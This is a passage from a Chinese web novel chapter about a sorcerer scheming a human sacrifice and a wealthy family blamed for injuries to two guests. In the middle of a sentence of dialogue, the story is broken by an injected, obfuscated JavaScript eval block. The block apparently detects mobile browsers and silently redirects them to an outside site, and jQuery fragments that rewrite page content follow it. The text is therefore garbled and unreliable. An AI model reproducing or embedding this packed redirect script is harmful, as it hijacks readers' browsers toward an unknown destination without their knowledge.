“师傅，如何？”王素珍捂着缠饶纱布的手臂，上前来询问。 她以自己的皮肉献祭，在黎家各处设下阵眼，如今只需要凤血加持，就可以成功催动法阵开启。 刚好被她施过咒法的宅妮弗，可以为他们所用。 鸦先生通过王素珍施展的催心法术，提前占据了宅妮弗的驱壳，只等她心神极度不稳，便可以操控她的言行，利用她取到凤血。 “可惜了……那具西洋傀儡失了灵性，被一匹畜生破了法。而且……” 鸦先生指尖划过龟甲裂缝，带起一丝黑气。 “黎家那位三少爷，不可小觑，硬取凤血已非上策。” “那我们怎么办？” 王素珍紧咬着腮帮，以她现在的法术造化，完全能够轻松避开黎家其他人。 唯独黎墨郢和他院子里的那个黄派术士，最为棘手。 “黎墨郢身负修行，那我在黎家埋的那些阵眼，也许很快就会被找到！” 鸦先生抬起眼皮，昏黄灯光下他的瞳孔缩成一条细线。 “越是如此，我们越不能耽搁。大阵必须尽快催动，采用活人祭！另外……你要多多给黎家人制造麻烦，分散他们的注意力，那个洋人还能用一用，我也会尽量找一些道友，给你提供助力。” “活人祭？”王素珍听他要自己**，不禁露出一丝畏惧。 但她心里清楚，自己已经迈出了这一步，再也没有回头路。 她早就受够了被压制的日子，她要翻身！ 鸦先生神通广大，待到法阵化成那日，她也能拥有无上道法，超脱世人，到时候，别说区区一个黎家，还有什么是她得不到的？ “是，师傅，我这就回去做安排。” …… 黎墨城将向美琳送去医务室，刚刚安顿好，就传来宅妮弗被马匹重伤吐血的消息。 “小小姐找到了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434720|184961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？”黎墨城最关心的，还是自己的家人。 听到工作人员说，小婉婉被黎墨郢带回了家，他立刻让人从医院召集团队，将宅妮弗和向美琳一起送去医院。 由于她们俩都是在聚会中途受伤，黎墨城不能逃避责任。 他在通知了劳伦斯先生，和向家人之后，又打电话给黎墨冰，让他回家一趟。 他则继续留守在医院里，承担来自劳伦斯家族，和向家的压力。 半个小时后，向家的人先一步赶到。 向美琳既是家中嫡女，可见在向家是有一定重量，而且她喜欢黎墨城的事，向家人全都知道。 得知她在和黎墨城的聚会中受伤，难免不联想出来些什么。 尽管没有直接证据，但向家人还是责怪，他没有将人照顾好。 黎墨城全程道歉，态度谦恭，承诺愿意在医院里亲自照顾向美琳，直到她康复为止。 向进的脸色刚刚好转一点，这时，劳伦斯先生带着夫人赶到。 劳伦斯被黑马踩踏受伤是不争的事实，而且劳伦斯是到黎家做客，又在他家的马场出事，劳伦斯夫妇当然也要找黎墨城问责。 而劳伦斯夫妇只有宅妮弗这么一个女儿，放在掌心里疼爱，如今躺在病床生死未卜。 夫妻二人发狂**的心思都有了。 尤其是劳伦斯先生。 这位在国际上享有盛名的商业大亨，此刻完全失去了平日里的从容与绅士风度。 他花白的头发有些凌乱，深邃的眼窝里布满了红血丝，像一头被触怒了领地的雄狮。 目光扫过休息区内那些昂贵的皮质沙发和玻璃茶几，一股脑的打翻，而后冲动上前，抓住黎墨城的衣领，手背上青筋全都暴起。 “黎墨城！” 劳伦斯先生从牙缝里挤出声音，因为愤怒而喷出的热气直扑而来。 “我女儿是到你们家里做客，不是去送命的！如果她发生任何意外，我会动用我的一切力量，让你们黎家今后寸步难行！我说到做到！” 黎墨城的领口被紧紧攥着，并没有挣扎，只是冷静地承受着滔天的怒火。 作为黎家的长孙，他从小就被教育背负与责任，即便再大的困难，他也要面对。 “拜伦，我们需要冷静，你这样根本帮助不了宅妮弗什么。”劳伦斯夫人上前，将拜伦·劳伦斯拉走。 旁边。 脸色刚刚缓和了一些的向进，看完这一切后，脸色恢复了阴沉。 “阿城，我看你还是好好照顾另外一个吧，我女儿不劳你的大驾！” 说罢，向进带着助理寻找医生团队，提出给向美琳转去别的医院进行治疗。 恰好在这时，向美琳苏醒过来。 她睁开眼睛的第一句话就是：“那个该死的洋鬼子，竟然趁我不备搞偷袭，等我把伤养好，看我怎么跟她算账！” 病房门口，赶来接女儿转院的向进，听了这话，本来就铁青的脸涨得发紫。 他直接推门进来，愤怒咆哮：“好他个黎墨城，我果然没猜错！他招惹你一个还不够，竟然还去招惹别人，还害你受伤住院！简直岂有此理！”